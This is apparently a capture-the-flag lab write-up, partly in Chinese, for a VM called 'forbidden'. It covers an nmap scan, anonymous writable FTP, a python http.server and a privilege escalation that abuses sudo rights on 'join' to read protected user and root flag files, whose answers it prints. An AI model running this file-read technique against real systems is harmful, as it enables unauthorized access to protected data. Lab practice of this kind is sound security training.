┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.58.239 Starting Nmap 7.95 ( https://nmap.org ) at2025-03-0213:56 CST Nmap scan report for bogon (192.168.58.239) Host is up (0.0017s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.58.11 | Loggedinas ftp | TYPE: ASCII | No session bandwidth limit | Sessiontimeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx2004096 Oct 092020 www [NSE: writeable] 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 6E:0B:06:76:34:C6 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Unix
TRACEROUTE HOP RTT ADDRESS 11.66 ms bogon (192.168.58.239)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in8.84 seconds
┌──(root㉿kakeru)-[~/tmp] └─# cat note.txt The extra-secured .jpg filecontainsmy password but nobody can obtain it. ┌──(root㉿kakeru)-[~/tmp] └─# cat robots.txt /note.txt
web探测
1 2
SECURE WEB/FTP Hi, Im the best admin of the world. You cannot execute .php code on this server so you cannot obtain a reverse shell. Not sure if its misconfigured another things... but the importart is that php is disabled. -marta
www-data@forbidden:~/html$ which python3 /usr/bin/python3 www-data@forbidden:~/html$ python3 -m http.server ServingHTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
marta@forbidden:~$ sudo -l MatchingDefaults entries for marta on forbidden: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marta may run the following commands on forbidden: (ALL : ALL) NOPASSWD: /usr/bin/join
在gtfobins里面可以找到提权方法,这个join命令是根据两个文件的共同字段合并行,类似于 SQL 的 JOIN 操作。可以利用这个读取任意文件 sudo join -a 2 /dev/null $LFILE -a 2这个参数的意思是输出第二个文件中所有行,即使这些行在第一个文件中没有匹配项。
1 2 3 4 5
marta@forbidden:/home$ sudo /usr/bin/join -a 2 /dev/null /home/markos/user.txt HMVpussycat
marta@forbidden:~$ sudo /usr/bin/join -a 2 /dev/null /root/root.txt HMVmymymymymind